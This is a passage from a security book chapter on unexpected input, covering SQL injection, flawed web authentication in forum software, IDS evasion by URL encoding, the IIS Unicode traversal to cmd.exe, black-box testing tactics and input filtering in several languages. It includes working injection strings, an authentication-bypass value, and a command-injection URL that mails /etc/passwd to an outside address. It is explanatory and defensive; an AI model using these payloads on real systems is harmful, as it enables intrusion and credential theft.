plain-text file on the client&iexcl;&brvbar;s system.This means that if you store sensitive information
in the cookie, it stands the chance of being retrieved by an unauthorized site.
Unexpected Data in SQL Queries
Many e-commerce systems and other applications interface with some sort of
database. Small-scale databases are even built into applications for purposes of
configuration and structured storage (such as Windows&iexcl;&brvbar; Registry). In short,
databases are everywhere.
The Structured Query Language is a database-neutral language used to
submit commands to a database and have the database return an intelligible
response. It&iexcl;&brvbar;s safe to say that most commercial relational database servers are
SQL-compatible, due to SQL being an ANSI standard.
Now, a very scary truth is implied with SQL. It is assumed that, for your
application to work, it must have enough access to the database to perform its
function.Therefore, your application will have the proper credentials needed to
access the database server and associated resources. Now, if an attacker is to
modify the commands your application is sending to your database server, your
attacker is using the pre-established credentials of the application; no extra
authentication information is needed by the attacker.The attacker does not even
need direct contact with the database server itself.There could be as many firewalls
as you can afford sitting between the database server and the application
server; if the application can use the database (which is assumed), an attacker has a
direct path to use it as well, regardless.
Of course, gaining database access does not mean an attacker can do whatever
he wishes to the database server.Your application may have restrictions imposed
www.syngress.com
212 Chapter 7 &iexcl;E Unexpected Input
against which resources it can access, and so on; this may limit the actual amount
of access the attacker has to the database server and its resources.
One of the biggest threats of including user-submitted data within SQL
queries is that an attacker can include extra commands to be executed by the
database. Imagine that you had a simple application that wanted to look up a
user-supplied value in a table.The query would look similar to this:
SELECT * FROM table WHERE x=$data
This query would take a user&iexcl;&brvbar;s value, substitute it for $data, and then pass the
resulting query to the database. Now, imagine an attacker submitting the following
value:
1; SELECT * FROM table WHERE y=5
After the application substitutes it, the resulting string sent to the database
would be this:
SELECT * FROM table WHERE x=1; SELECT * FROM table WHERE y=5
Generically, this would cause the database to run two separate queries: the
intended query, and another extra query (SELECT * FROM table WHERE y=5).
I say generically, because each database platform handles extra commands differently;
some don&iexcl;&brvbar;t allow more than one command at a time, some require special
characters be present to separate the individual queries, and some don&iexcl;&brvbar;t even
require separation characters. For instance, the following is a valid SQL query
(actually it&iexcl;&brvbar;s two individual queries submitted at once) for Microsoft SQL Server
and Sybase SQL Server databases:
SELECT * FROM table WHERE x=1 SELECT * FROM table WHERE y=5
Notice that there&iexcl;&brvbar;s no separation or other indication between the individual
SELECT statements.
It&iexcl;&brvbar;s also important to realize that the return result is dependent on the
database engine. Some return two individual record sets, as shown in Figure 7.1,
with each set containing the results of the individual SELECT. Others may combine
the sets if both queries result in the same return columns. On the other
hand, most applications are written to accommodate only the first returned
record set; therefore, you may not be able to visually see the results of the second
query&iexcl;Xhowever, that does not mean executing a second query is fruitless.
MySQL allows you to save the results to a file. MS SQL Server has stored procedures
to e-mail the query results. An attacker can insert the results of the query
www.syngress.com
Unexpected Input &iexcl;E Chapter 7 213
into a table that she can read from directly. And, of course, the query may not
need to be seen, such as a DROP command.
When trying to submit extra commands, the attacker may need to indicate to
the data server that it should ignore the rest of the query. Imagine a query such as
this:
SELECT * FROM table WHERE x=$data AND z=4
Now, if you submit the same data as mentioned earlier, the query would
become this:
... WHERE x=1; SELECT * FROM table WHERE y=5 AND z=4
This results in the AND z=4 being appended to the second query, which
may not be desired.The solution is to use a comment indicator, which is different
with every database (some may not have any). On MS SQL Server, including a
double hyphen (--) tells the database to ignore the rest, as shown in Figure 7.2.
www.syngress.com
Figure 7.1 Some Database Servers, such as Microsoft SQL Server, Allow for
Multiple SQL Commands in One Query
214 Chapter 7 &iexcl;E Unexpected Input
On MySQL, the pound sign (#) is the comment character. So, for a MySQL
server, an attacker would submit
1; SELECT * FROM table WHERE y=5 #
which results in the following final query of
... WHERE x=1; SELECT * FROM table WHERE y=5 # AND z=4
causing the server to ignore the AND z=4.
In these examples, you know the name of your target table, which is not
always the case.You may have to know table and column names in order to perform
valid SQL queries; because this information typically isn&iexcl;&brvbar;t publicly accessible,
it can prove to be a crux. However, all is not lost.Various databases have
different ways to query system information to gain lists of installed tables. For
example, querying the sysobjects table (with a Select * from sysobjects query) in
www.syngress.com
Figure 7.2 Escaping the First Query by Submitting blah&iexcl;&brvbar; select * from sales &iexcl;V,
Which Makes Use of the Comment Indicator (--) in MS SQL Server
Unexpected Input &iexcl;E Chapter 7 215
Microsoft SQL Server will return all objects registered for that database, including
stored procedures and table names.
When involved in SQL hacking, it&iexcl;&brvbar;s good to know what resources each of
the database servers provides. Due to the nature of SQL hacking, you may not be
able to see your results, because most applications are not designed to handle
multiple record sets; therefore, you may need to fumble your way around until
you verify that you do have access. Unfortunately, there is no easy way to tell,
because most SQL commands require a valid table name to work.You may have
to get creative in determining this information.
Performing SQL hacking, blind or otherwise, is definitely possible. It may
require some insight into your target database server (which may be unknown to
the attacker).You should become familiar with the SQL extensions and stored
procedures that your particular server implements. For example,Microsoft SQL
Server has a stored procedure to e-mail the results of a query somewhere.This
can be extremely useful, because it would allow you to see the second returned
data set. MySQL allows you to save queries out to files, which may allow you to
retrieve the results.Try to use the extra functionality of the database server to
your advantage.
Application Authentication
Authentication always proves to be an interesting topic.When a user needs to log
in to an application, where are authentication credentials stored? How does the
user stay authenticated? For normal (single-user desktop) applications, this isn&iexcl;&brvbar;t as
tough of a question; but for Web applications, it proves to be a challenge.
The popular method is to give a large random session or authentication key,
whose keyspace (total amount of possible keys) is large enough to thwart bruteforcing
efforts. However, there are two serious concerns with this approach.
The key must prove to be truly random; any predictability will result in
increased chances of an attacker guessing a valid session key. Linear incremental
functions are obviously not a good choice. Using /dev/random and /dev/urandom
on UNIX may not necessarily provide you with good randomness, especially if
you have a high volume of session keys being generated. Calling /dev/random or
/dev/urandom too fast can result in a depletion of random numbers, which causes
it to fall back on a predictable, quasi-random number generator.
The other problem is the size of the keyspace in comparison to the more
extreme number of keys needed at any one time. Suppose that your key has 1
billion possible values. Brute forcing 1 billion values to find the right key is defi-
nitely daunting. However, let&iexcl;&brvbar;s say that you have a popular e-commerce site that
www.syngress.com
216 Chapter 7 &iexcl;E Unexpected Input
may have as many as 500,000 sessions open on a very busy day. Now an attacker
has good odds of finding a valid key for every 1,000 keys tried (on average).
Trying all 2,000 consecutive keys from a random starting place is not that
daunting.
Let&iexcl;&brvbar;s take a look at a few authentication schemes used in the real world.A
while back, PacketStorm (www.packetstormsecurity.org) decided to custom-code
their own Web forum software after they found that wwwthreads had a vulnerability.
The coding effort was done by Fringe, using Perl.
The authentication method chosen was of particular interest. After logging
in, you were given a URL that had two particular parameters that looked similar
to this:
authkey=rfp.23462382.temp&uname=rfp
Using a zero knowledge &iexcl;§black box&iexcl;&uml; approach, I started to change variables.
The first step was to change the various values in the authkey to random values&iexcl;X
first the username, then the random number, and finally the additional &iexcl;§temp&iexcl;&uml;.
The goal was to see if it was still possible to maintain authentication with different
invalid/random parameters. It wasn&iexcl;&brvbar;t.
Next, I changed the uname variable to another (valid) username, which made
the string look like authkey=rfp.23462382.temp&uname=fringe.
What followed was my being successfully logged in as the other user
(&iexcl;§fringe&iexcl;&uml; in this case). From this, I can hypothesize the Perl code being used
(note that I have not seen the actual source code of the PacketStorm forums):
if (-e "authkey_directory/$authkey") {
print "Welcome $uname!";
# do stuff as $uname
} else {
print "Error: not authenticated";
}
The authkey would be a file that was created at login, using a random
number.This code implementation allows someone to change uname and access
another user&iexcl;&brvbar;s account, while using a known, valid authkey (that is, your own).
Determining that the authkey was file-system derived is a logical assumption
based on the formats of authkey and uname. Authkey, in the format of username.
999999.temp, is not a likely piece of information to be stored in a database
as-is. It&iexcl;&brvbar;s possible that the application splits the authkey into three parts, using the
www.syngress.com
Unexpected Input &iexcl;E Chapter 7 217
username and random number as a query into a database; however, then there is
no need for the duplicate username information in uname, and the static trailing
.temp becomes useless and nonsensical. Combined with the intuition that the
format of authkey &iexcl;§looked like a file,&iexcl;&uml; I arrived at the hypothesis that authkey must
be file-system based, which turned out to be correct.
Of course, PacketStorm was contacted, and the problem was fixed.The solution
they chose follows shortly, but first I want to demonstrate another possible
solution. Suppose we modified the code as follows:
if (-e "authkey_directory/$authkey" && $authkey=~/^$uname/) {
print "Welcome $uname!";
# do stuff as $uname
} else {
print "Error: not authenticated";
}
Although this looks like it would be a feasible solution (we make sure that
the authkey begins with the same uname), it does have a flaw.We are checking
only to see if authkey begins with uname; this means that if the authkey was
&iexcl;§rfp.234623.temp,&iexcl;&uml; we could still use a uname of &iexcl;§r&iexcl;&uml; and it would work, because
&iexcl;§rfp&iexcl;&uml; starts with &iexcl;§r.&iexcl;&uml;We should fix this by changing the regex to read
$authkey=~/^$uname\./, which would ensure that the entire first portion of the
authkey matched the uname.
PacketStorm decided to use another method, which looks similar to
@authkey_parts = split('.', $authkey);
if ($authkey_parts[0] eq $uname && -e "authkey_directory/$authkey"){ &iexcl;K
which is just another way to make sure the authkey user and uname user match.
But, there are still some issues with this demonstration code.What reason is there
to duplicate and compare the username portion of authkey to uname? They should
always be the same. By keeping them separate, you open yourself up to small mistakes
like PacketStorm originally had.A more concrete method would be to use
code as such:
if (-e "authkey_directory/$uname.$authkey.temp"){
...
And now, we would only need to send a URL that looks like this:
authkey=234562&uname=rfp
www.syngress.com
218 Chapter 7 &iexcl;E Unexpected Input
The code internally combines the two into the appropriate filename,
&iexcl;§rfp.234562.temp.&iexcl;&uml;This ensures that the same uname will be applied throughout
your application. It also ensures that an attacker can reference only .temp files,
because we append a static &iexcl;§.temp&iexcl;&uml; to the end (although, submitting a NULL
character at the end of authkey will cause the system to ignore the appended
.temp.This can be avoided by removing NULLs. However, it will allow an
attacker to use any known .temp file for authentication by using &iexcl;§../&iexcl;&uml; notation
combined with other tricks.Therefore, make sure that $uname contains only
allowed characters (preferably only letters), and $authkey contains only numbers.
A common method for authentication is to use a SQL query against a
database of usernames and passwords.The SQL query would look something like
SELECT * FROM Users WHERE Username='$name' AND Password='$pass'
where $name was the submitted username, and $pass was the submitted password.
This results in all records that have the matching username and password to
be returned. Next, the application would process something like this:
if ( number_of_return_records > 0) {
# username and password were found; do stuff
} else {
# not found, return error
}
So, if records were returned, the username/password combination is valid.
However, this code is sloppy and makes a bad assumption. Imagine if an attacker
submitted the following value for $pass:
boguspassword OR TRUE
This results in all records matching the SQL query. Because the logic accepts
one or more record returns, we are authenticated as that user.
The problem is the (number_of_return_records > 0) logic clause.This clause
implies that you will have situations where you will have multiple records for the
same username, all with the same password.A properly designed application
should never have that situation; therefore, the logic is being very forgiving.The
proper logic clause should be (number_of_return_records == 1). No records means
that the username/password combo wasn&iexcl;&brvbar;t found. One record indicates a valid
account. More than one indicates a problem (whether it be an attack or a application/
database error).
www.syngress.com
Unexpected Input &iexcl;E Chapter 7 219
Of course, the situation just described cannot literally happen as presented,
due to the quotes surrounding $pass in the SQL query. A straight substitution
would look like
&iexcl;K AND Password='boguspassword OR TRUE'
which doesn&iexcl;&brvbar;t allow the OR TRUE portion of the data to be interpreted as a
command.We need to supply our own quotes to break free, so now the query
may look like
&iexcl;K AND Password='boguspassword' OR TRUE'
which usually results in the SQL interpreter complaining about the trailing
orphaned quote.We can either use a database-specific way to comment out the
remaining single quote, or we can use a query that includes the use of the trailing
quote. If we set $pass to
boguspassword' OR NOT Password='otherboguspassword
the query results in
&iexcl;K AND Password='boguspassword' OR NOT Password='otherboguspassword'
which conveniently makes use of the trailing quote. Of course, proper data validation
and quoting will prevent this from working.
The wwwthreads package (www.wwwthreads.com) uses this type of authentication.
The query contained in their downloadable demo looks like this:
my $query = qq!
SELECT *
FROM Users
WHERE Username = $Username_q
!;
Unfortunately, preceding it they have
my $Username_q = $dbh->quote($Username);
my $Password_q = $dbh->quote($Password);
which ensures that $Username is correctly quoted. Because it&iexcl;&brvbar;s quoted, the
method mentioned previously will not work. However, take another look at the
query. Notice that it looks only for a valid username.This means that if anybody
were to supply a valid username, the query would return a record, which would
www.syngress.com
220 Chapter 7 &iexcl;E Unexpected Input
cause wwwthreads to believe that the user was correctly authenticated.The
proper query would look like this:
my $query = qq!
SELECT *
FROM Users
WHERE Username = $Username_q
AND Password = $Password_q
!;
The wwwthreads maintainer was alerted, and this problem was immediately
fixed.
Disguising the Obvious
Signature matching is a type of unexpected data attack that many people tend to
overlook. Granted, few applications actually do rely on signature matching
(specifically, you have virus scanners and intrusion detection systems).The goal in
this situation is to take a known &iexcl;§bad&iexcl;&uml; signature (an actual virus or an attack signature),
and disguise it in such a manner that the application is fooled into not
recognizing it. Note that intrusion detection systems (IDSs) are covered in more
detail in Chapter 16.
A basic signature-matching network IDS has a list of various values and situations
to look for on a network.When a particular scenario matches a signature,
the IDS processes an alert.The typical use is to detect attacks and violations in
policy (security or other).
Let&iexcl;&brvbar;s look at Web requests as an example. Suppose that an IDS is set to alert
any request that contains the string /cgi-bin/phf. It&iexcl;&brvbar;s assumed that a request of the
age-old vulnerable phf CGI in a Web request will follow standard HTTP convention,
and therefore is easy to spot and alert. However, a smart attacker can disguise
the signature, using various tactics and conventions found in the HTTP
protocol and in the target Web server.
For instance, the request can be encoded to its hex equivalent:
GET /%63%67%69%2d%62%69%6e/phf HTTP/1.0
This does not directly match /cgi-bin/phf.The Web server will convert each
%XX snippet to the appropriate ASCII character before processing.The request
can also use self-referenced directory notation:
GET /cgi-bin/./phf HTTP/1.0
www.syngress.com
Unexpected Input &iexcl;E Chapter 7 221
The /./ keeps the signature from matching the request. For the sake of
example, let&iexcl;&brvbar;s pretend the target Web server is IIS on Windows NT (although phf
is a UNIX CGI program).That would allow
GET /cgi-bin\phf HTTP/1.0
which still doesn&iexcl;&brvbar;t match the string exactly.
A recent obfuscation technique that has started to become quite common
involves encoding URLs using UTF-8/Unicode escaping, which is understood
by Microsoft IIS and some other servers. It&iexcl;&brvbar;s possible to use overlong Unicode
encoding to represent normal ASCII characters. Normally, these overlong values
should be flagged as illegal; however, many applications accept them.
A perfect example of overlong Unicode escaping is the vulnerability fixed by
Microsoft patch MS00-078. Basically, it was possible to trick IIS to access files
outside the Web root by making requests for the parent directory.The basic
syntax of the URL looked like this:
/cgi-bin/../../../../winnt/system32/cmd.exe
Ideally, this would allow us to traverse up the filesystem to the root drive, and
then down into the WINNT folder and subfolders, eventually arriving at and
executing cmd.exe. However, IIS is smart enough to not let us do this type of
thing, because it&iexcl;&brvbar;s a security problem. Enter Unicode.
By changing some of the characters to their Unicode equivalents, an attacker
could trick IIS into thinking the URL was legitimate, but when fully decoded,
IIS would wind up executing cmd.exe.The escaped URL could look like this:
/cgi-bin/..%c0%af..%c0%af..%c0%af..%c0%afwinnt/system32/cmd.exe
In this case the / character is represented using the overlong Unicode equivalent
hexadecimal value of &iexcl;§0xC0AF&iexcl;&uml;, which is then encoded as &iexcl;§%c0%af &iexcl;&uml; in the
URL. It&iexcl;&brvbar;s possible to escape any particular character with its overlong Unicode
representation&iexcl;Xwe just used the / character as an example.
Using Techniques to Find
and Eliminate Vulnerabilities
So hopefully you see how unexpected data can be a problem. Next is to see if
your own applications are vulnerable&iexcl;Xbut how do you do that? This section
focuses on some common techniques that you can use to determine if an application
is vulnerable, and if so, fix it.
www.syngress.com
222 Chapter 7 &iexcl;E Unexpected Input
Black Box Testing
The easiest place to start in finding unexpected data vulnerabilities would be
with Web applications, due to their sheer number and availability. I always tend to
take personal interest in HTML forms and URLs with parameters (parameters
are the values after the &iexcl;§?&iexcl;&uml; in the URL).
You should spot a Web application that features dynamic application pages
with many parameters in the URL.To start, you can use an ultra-insightful tactic:
Change some of the values.Yes, not difficult at all.To be really effective in finding
potential problems, you can keep in mind a few tactics:
 Use intuition on what the application is doing. Is the application
accepting e-commerce orders? If so, most likely it&iexcl;&brvbar;s interfacing with a
database of some sort. Is it a feedback form? If it is, at some point it&iexcl;&brvbar;s
probably going to call an external program or procedure to send an
e-mail.
 You should run through the full interactive process from start to
finish at least once. At each step, stop and save the current HTML
supplied to you. Look in the form for hidden elements. Hidden inputs
may contain information that you entered previously.A faulty application
would take data from you in step one, sanitize it, and give it back to you
hidden in preparation for step two.When you complete step two, it may
assume that the data is already sanitized (previously from step one); therefore,
you have an opportunity to change the data to &iexcl;§undo&iexcl;&uml; its filtering.
 Try to intentionally cause an error. Either leave a parameter blank,
or insert as many &iexcl;§bad&iexcl;&uml; characters as you can (insert letters into what
appear to be all-numeric values, and so on).The goal here is to see if the
application alerts to an error. If so, you can use it as an oracle to determine
what the application is filtering. If the application does indeed alert
that invalid data was submitted, or it shows you the post-filtered data
value, you should then work through the ASCII character set to determine
what it does and does not accept for each individual data variable.
For an application that does filter, it removes a certain set of characters
that are indicative of what it does with the data. For instance, if the
application removes or escapes single and/or double quotes, the data is
most likely being used in a SQL query. If the common UNIX shell
metacharacters are escaped, it may indicate that the data is being passed
to another program.
www.syngress.com
Unexpected Input &iexcl;E Chapter 7 223
 Methodically work your way through each parameter, inserting
first a single quote (&iexcl;&yen, and then a double quote (&iexcl;§). If at any
point in time the application doesn&iexcl;&brvbar;t correctly respond, it may mean that
it is passing your values as-is to a SQL query. By supplying a quote
(single or double), you are checking for the possibility of breaking-out
of a data string in a SQL query. If the application responds with an
error, try to determine if the error occurs because the application caught
your invalid data (the quote), or if the error occurs because the SQL call
failed (which it should, if there is a surplus quote that &iexcl;§escapes&iexcl;&uml.
 Try to determine the need and/or usefulness of each parameter.
Long random-looking strings or numbers tend to be session keys.Try
running through the data submission process a few times, entering the
same data.Whatever changes is usually for tracking the session. How
much of a change was it? Look to see if the string increases linearly. Some
applications use the process ID (PID) as a &iexcl;§random number;&iexcl;&uml; a number
that is lower than 65,536 and seems to increase positively may be based
on the PID.
 Take into account the overall posture presented by the Web site
and the application, and use that to hypothesize possible application
aspects. A low-budget company using IIS on NT will probably
be using a Microsoft Access database for their backend, whereas a large
corporation handling lots of entries will use something more robust like
Oracle. If the site uses canned generic CGI scripts downloaded from the
numerous repositories on the Internet, most likely the application is not
custom coded.You should attempt a search to see if they are using a premade
application, and check to see if source is available.
 Keep an eye out for anything that looks like a filename.
Filenames typically fall close to the &iexcl;§8.3&iexcl;&uml; format (which originated with
CP/M, and was carried over into Microsoft DOS). Additions like &iexcl;§.tmp&iexcl;&uml;
are good indications of filenames, as are values that consist only of letters,
numbers, periods, and possibly slashes (forward slash or backslash,
depending on the platform). Notice the following URL for swish-e (this
stands for Simple Web Indexing System for Humans, Enhanced; a Webbased
indexed search engine):
search.cgi/?swishindex=%2Fusr%2Fbin%2Fswish%2Fdb.swish&keywords=key
&maxresults=40
www.syngress.com
224 Chapter 7 &iexcl;E Unexpected Input
I hope you see the swishindex=/usr/bin/swish/swish.db parameter.
Intuition is that swish-e reads in that file. In this case, we would start by
supplying known files, and see if we can get swish-e to show them to us.
Unfortunately, we cannot, because swish-e uses an internal header to
indicate a valid swish database&iexcl;Xthis means that swish-e will not read
anything except valid swish-e databases.
However, a quick peek at the source code (swish-e is freely available)
gives us something more interesting.To run the query, swish-e will take
the parameters submitted (swishindex, keywords, and maxresults), and run a
shell to execute the following:
swish -f $swishindex -w $keywords -m $maxresults
This is a no-no. Swish-e passes user data straight to the command
interpreter as parameters to another application.This means that if any of
the parameters contain shell metacharacters (which I&iexcl;&brvbar;m sure you could
have guessed, swish-e does not filter), we can execute extra commands.
Imagine sending the following URL:
search.cgi/?swishindex=swish.db&maxresults=40
&keywords=`cat%20/etc/passwd|mail%20rfp@wiretrip.net`
I should receive a mail with a copy of the passwd file.This puts
swish-e in the same lame category as phf, which is exploitable by the
same general means.
 Research and understand the technological limitations of the different
types of Web servers, scripting/application languages, and
database servers. For instance, Active Server Pages on IIS do not
include a function to run shell commands or other command-line programs;
therefore, there may be no need to try inserting the various UNIX
metacharacters, because they do not apply in this type of situation.
 Look for anything that seems to look like an equation, formula,
or actual snippets of programming code. This usually indicates
that the submitted code is passed through an &iexcl;§eval&iexcl;&uml; function, which
would allow you to substitute your own code, which could be executed.
 Put yourself in the coder&iexcl;&brvbar;s position: If you were underpaid, bored,
and behind on deadline, how would you implement the application?
Let&iexcl;&brvbar;s say you&iexcl;&brvbar;re looking at one of the new Top Level Domain (TLD)
authorities (now that Network Solutions is not king).They typically
www.syngress.com
Unexpected Input &iexcl;E Chapter 7 225
have &iexcl;§whois&iexcl;&uml; forms to determine if a domain is available, and if so, allow
you to reserve it.When presented with the choice of implementing their
own whois client complete with protocol interpreter versus just shelling
out and using the standard UNIX whois application already available, I
highly doubt a developer would think twice about going the easy route:
Shell out and let the other application do the dirty work.
Discovering Network and System Problems
However, the world is not composed of merely Web applications. Here are a few
tactics for network services:
 If the network service is using a published protocol (for example, established
by a RFC), be sure to review the protocol and look for areas in
which arbitrary-length strings or amounts of data are allowed.These are
the types of places that may be vulnerable to buffer overflows.
 Anywhere a protocol spec states that a string must not be over a certain
length is prime for a buffer overflow, because many programmers believe
no one will violate that protocol rule.
 Try connecting to the service and sending large amounts of random
data. Some applications do not properly handle nonprotocol data and
crash, leading to a denial of service situation.
 Connect to the service and wait to see how long before the service
times out and closes the connection on its own (do not send any data
during this time). Some applications will wait forever, which could lead
to a potential resource starvation should an attacker connect to multiple
instances of the server.The problem is enhanced if the service can
handle only a single user at a time (the entire service runs in a single
instance), thus not being available to handle other incoming users.
But of course the problems could be local on a system as well.When
reviewing local suid/sgid utilities, do the following:
 Try sending large data amounts as command-line parameters. Many
suid/sgid applications have been vulnerable to buffer overflows in this
manner.
 Change the PATH environment variable to a local directory containing
Trojaned copies of any external applications the target application may
www.syngress.com
226 Chapter 7 &iexcl;E Unexpected Input
call.You can see if the target application calls any external programs by
either disassembling the application or, even better, using the UNIX
strings utility to look for names of external programs embedded in the
target application binary.
 Some applications/systems allow alternate dynamic libraries to be speci-
fied using the LD_PRELOAD environment variable. Pointing this value
to a Trojaned library could get the library to execute with elevated privileges.
Note that this is more of an OS problem, and not necessary the
application&iexcl;&brvbar;s fault.
 Check to see if the application uses the getenv() function to read environment
variable values. Applications are commonly vulnerable to buffer
overflows (by putting lots of data in the environment variable) and file
redirection attacks (by specifying alternate data or log files or directories).
One way to see what environment variables an application might
use is to use the UNIX strings utility on the application binary and look
for names in all uppercase letters.
 Many applications typically have less-than-optimal configuration file
parsing routines. If an application takes a configuration file from the user
(or the configuration file is writable by the user), try to tamper with the
file contents.The best bet is to try to trigger buffer overflows by setting
different attribute values to very long strings.
Use the Source
Application auditing is much more efficient if you have the source code available
for the application you wish to exploit.You can use techniques such as diffing
(explained in Chapter 5) to find vulnerabilities/changes between versions; however,
how do you find a situation where the application can be exploited by
unexpected data?
Essentially you would look for various calls to system functions and trace
back where the data being given to the system function comes from. Does it, in
any form, originate from user data? If so, it should be examined further to determine
if it can be exploited.Tracing forward from the point of data input may
lead you to dead ends&iexcl;Xstarting with system functions and tracing back will allow
you to efficiently audit the application.
Which functions you look for depends on the language you&iexcl;&brvbar;re looking at.
Program execution (exec, system), file operations (open, fopen), and database
www.syngress.com
Unexpected Input &iexcl;E Chapter 7 227
queries (SQL commands) are good places to look. Ideally, you should trace all
incoming user data, and determine every place the data is used. From there, you
can determine if user data does indeed find its way into doing something &iexcl;§interesting.&iexcl;&uml;
Let&iexcl;&brvbar;s look at a sample application snippet:
<% SQLquery="SELECT * FROM phonetable WHERE name='" & _
request.querystring("name") & "'"
Set Conn = Server.CreateObject("ADODB.Connection")
Conn.Open "DSN=websql;UID=webserver;PWD=w3bs3rv3r;DATABASE=data"
Set rec = Server.CreateObject("ADODB.RecordSet")
rec.ActiveConnection=Conn
rec.Open SQLquery %>
Here we see that the application performs a SQL query, inserting unfiltered
input straight from the form submission.We can see that it would be trivial to
escape out of the SQL query and append extra commands, because no filtering is
done on the name parameter before inclusion.
Untaint Data by Filtering It
The best way to combat unexpected data is to filter the data to what is expected.
Keeping in mind the principle of keeping it to a minimum, you should evaluate
what characters are necessary for each item the user sends you.
For example, a zip code should contain only numbers, and perhaps a dash (-)
for the U.S. A. telephone number would contain numbers and a few formatting
characters (parenthesis, dash). An address would require numbers and letters; a
name would require only letters. Note that you can be forgiving and allow for
formatting characters, but for every character you allow, you are increasing the
potential risk. Letters and numbers tend to be generically safe; however, inserting
extra SQL commands using only letters, numbers, and the space character is possible.
It doesn&iexcl;&brvbar;t take much, so be paranoid in how you limit the incoming data.
Escaping Characters Is Not Always Enough
Looking through various CGI programming documentation, I&iexcl;&brvbar;m amazed at the
amount of people who suggest escaping various shell characters.Why escape
them if you don&iexcl;&brvbar;t need them? And, there are cases where escaping the characters
isn&iexcl;&brvbar;t even enough.
www.syngress.com
228 Chapter 7 &iexcl;E Unexpected Input
For instance, you can&iexcl;&brvbar;t escape a carriage return by slapping a backslash in
front of it&iexcl;Xthe result is to still have the carriage return, and now the last character
of the &iexcl;§line&iexcl;&uml; is the backslash (which actually has special meaning to UNIX
command shells).The NULL character is similar (escaping a NULL leaves the
backslash as the last character of the line). Perl treats the open function differently
if the filename ends with a pipe (regardless of there being a backslash before it).
Therefore, removing offending data, rather than merely trying to make it
benign, is important. Considering that you do not always know how various
characters will be treated, the safest solution is to remove the doubt.
Of course, every language has its own way of filtering and removing characters
from data.We look at a few popular languages to see how you would use
their native functions to achieve this.
Perl
Perl&iexcl;&brvbar;s translation command with delete modifier (tr///d) works very well for
removing characters.You can use the &iexcl;§compliment&iexcl;&uml; (tr///cd) modifier to remove
the characters opposite the specified ones. Note that the translation command
does not use regex notation. For example, to keep only numbers:
$data =~ tr/0-9//cd
The range is 0&iexcl;V9 (numbers), the &iexcl;§c&iexcl;&uml; modifier says to apply the translation to
the compliment (in this case, anything that&iexcl;&brvbar;s not a number), and the &iexcl;§d&iexcl;&uml; modifier
tells Perl to delete it (rather than replace it with another character).
Although slower, Perl&iexcl;&brvbar;s substitution operator (s///) is more flexible, allowing
you to use the full power of regex to craft specific patterns of characters in particular
formats for removal. For our example, to keep only numbers:
$data =~ s/[^0-9]//g
The &iexcl;§g&iexcl;&uml; modifier tells Perl to continuously run the command over every
character in the string.
The DBI (Database Interface) module features a quote function that will
escape all single quotes (&iexcl;&yen by doubling them (&iexcl;&yen;&iexcl;&brvbar, as well as surround the data
with single quotes&iexcl;Xmaking it safe and ready to be inserted into a SQL query:
$clean = $db->quote($data)
Note that the quote function will add the single quotes around the data, so
you need to use a SQL query such as
www.syngress.com
Unexpected Input &iexcl;E Chapter 7 229
SELECT * FROM table WHERE x=$data
and not
SELECT * FROM table WHERE x='$data'
Cold Fusion/Cold Fusion
Markup Language (CFML)
You can use CFML&iexcl;&brvbar;s regex function to remove unwanted characters from data:
REReplace(data, "regex pattern", "replace with", "ALL")
The &iexcl;§ALL&iexcl;&uml; specifies the function to replace all occurrences. For example, to
keep only numbers:
REReplace(data, "[^0-9]", "", "ALL")
Note that CFML has a regular replace function, which replaces only a single
character or string with another (and not a group of characters).The replacelist
function may be of slight use; if you want to replace known characters with other
known characters:
ReplaceList(data, "|,!,$", "X,Y,Z")
This example would replace &iexcl;§|!$&iexcl;&uml; with &iexcl;§XYZ&iexcl;&uml;, respectively.
ASP
Microsoft introduced a regex object into their newest scripting engine.You can
use the new engine to perform a regex replacement like so:
set reg = new RegExp
reg.pattern = "[^a-zA-Z0-9]"
data = reg.replace(data, "")
You can also use the more generic variable replace function, but this requires
you to craft the function to perform on the character. For instance, to keep only
numbers, you should use:
function ReplaceFunc(MatchedString) {
return "";}
var regex = /[^0-9]/g;
data = data.replace(regex, ReplaceFunc);
www.syngress.com
230 Chapter 7 &iexcl;E Unexpected Input
In this case, we need to supply a function (ReplaceFunc), which is called for
every character that is matched by the regex supplied to replace.
For older engine versions, the only equivalent is to step through the string
character by character, and test to see if the character is acceptable (whether by
checking if its ASCII value falls within a certain range, or stepping through a
large logic block comparing it to character matches). Needless to say, the regex
method was a welcomed introduction.
PHP
PHP includes a few functions useful for filtering unexpected data. For a custom
character set, you can use PHP&iexcl;&brvbar;s replacement regex function:
ereg_replace("regex string", "replace with", $data)
So, to keep only numbers, you can run this:
ereg_replace("[^0-9]", "", $data)
(Remember, the &iexcl;§[^0-9]&iexcl;&uml; means to replace everything that&iexcl;&brvbar;s not a number
with &iexcl;§&iexcl;&uml;, which is an empty string, which essentially removes it).
PHP has a generic function named quotemeta, which will escape a small set of
metacharacters:
$clean = quotemeta($data)
However, the list of characters it escapes is hardly comprehensive
(.\+?[^](*)$), so caution is advised if you use it.
Another useful function for sanitizing data used in SQL queries is addslashes:
$clean = addslashes($data)
Addslashes will add a backslash before all single quotes (&iexcl;&yen, double quotes (&iexcl;§),
backslashes (\), and NULL characters.This effectively makes it impossible for an
attacker to &iexcl;§break out&iexcl;&uml; of your SQL query (see the following section). However,
some databases (such as Sybase and Oracle) prefer to escape a single quote (&iexcl;&yen by
doubling it (&iexcl;&yen;&iexcl;&brvbar, rather than escaping it with a backslash (\&iexcl;&brvbar.You can use the
ereg_replace function to do this as follows:
ereg_replace("'", "''", $data)
www.syngress.com
Unexpected Input &iexcl;E Chapter 7 231
Protecting Your SQL Queries
Even with all the scary stuff that attackers can do to your SQL queries, you don&iexcl;&brvbar;t
need to be a victim. In fact, when you use SQL correctly, attackers have very
little chance of taking advantage of your application.
The common method used today is called quoting, which is essentially just
making sure that submitted data is properly contained within a set of quotes, and
that no renegade quotes are contained within the data itself. Many database interfaces
(such as Perl&iexcl;&brvbar;s DBI) include various quoting functions; however, for the sake
of understanding, let&iexcl;&brvbar;s look at a basic implementation of this procedure written
in Perl.
sub quotedata {
my $incoming=shift;
$incoming=~s/['"]/''/g;
return "'$incoming'"; }
Here we have the function taking the incoming data, replacing all occurrences
of a single or double quote with two single quotes (which is an acceptable
way to still include quotes within the data portion of your query; the other alternative
would be to remove the quotes altogether, but that would result in the
modification of the data stream).Then the data is placed within single quotes and
returned.To use this within an application, your code would look similar to this:
# &iexcl;K incoming user data is placed in $data
$quoted_data = quotedata($data);
$sql_query = "SELECT * FROM table WHERE column = $quoted_data";
# &iexcl;K execute your SQL query
Because $data is properly quoted here, this query is acceptable to pass along
to the database. However, just because you properly quote your data doesn&iexcl;&brvbar;t mean
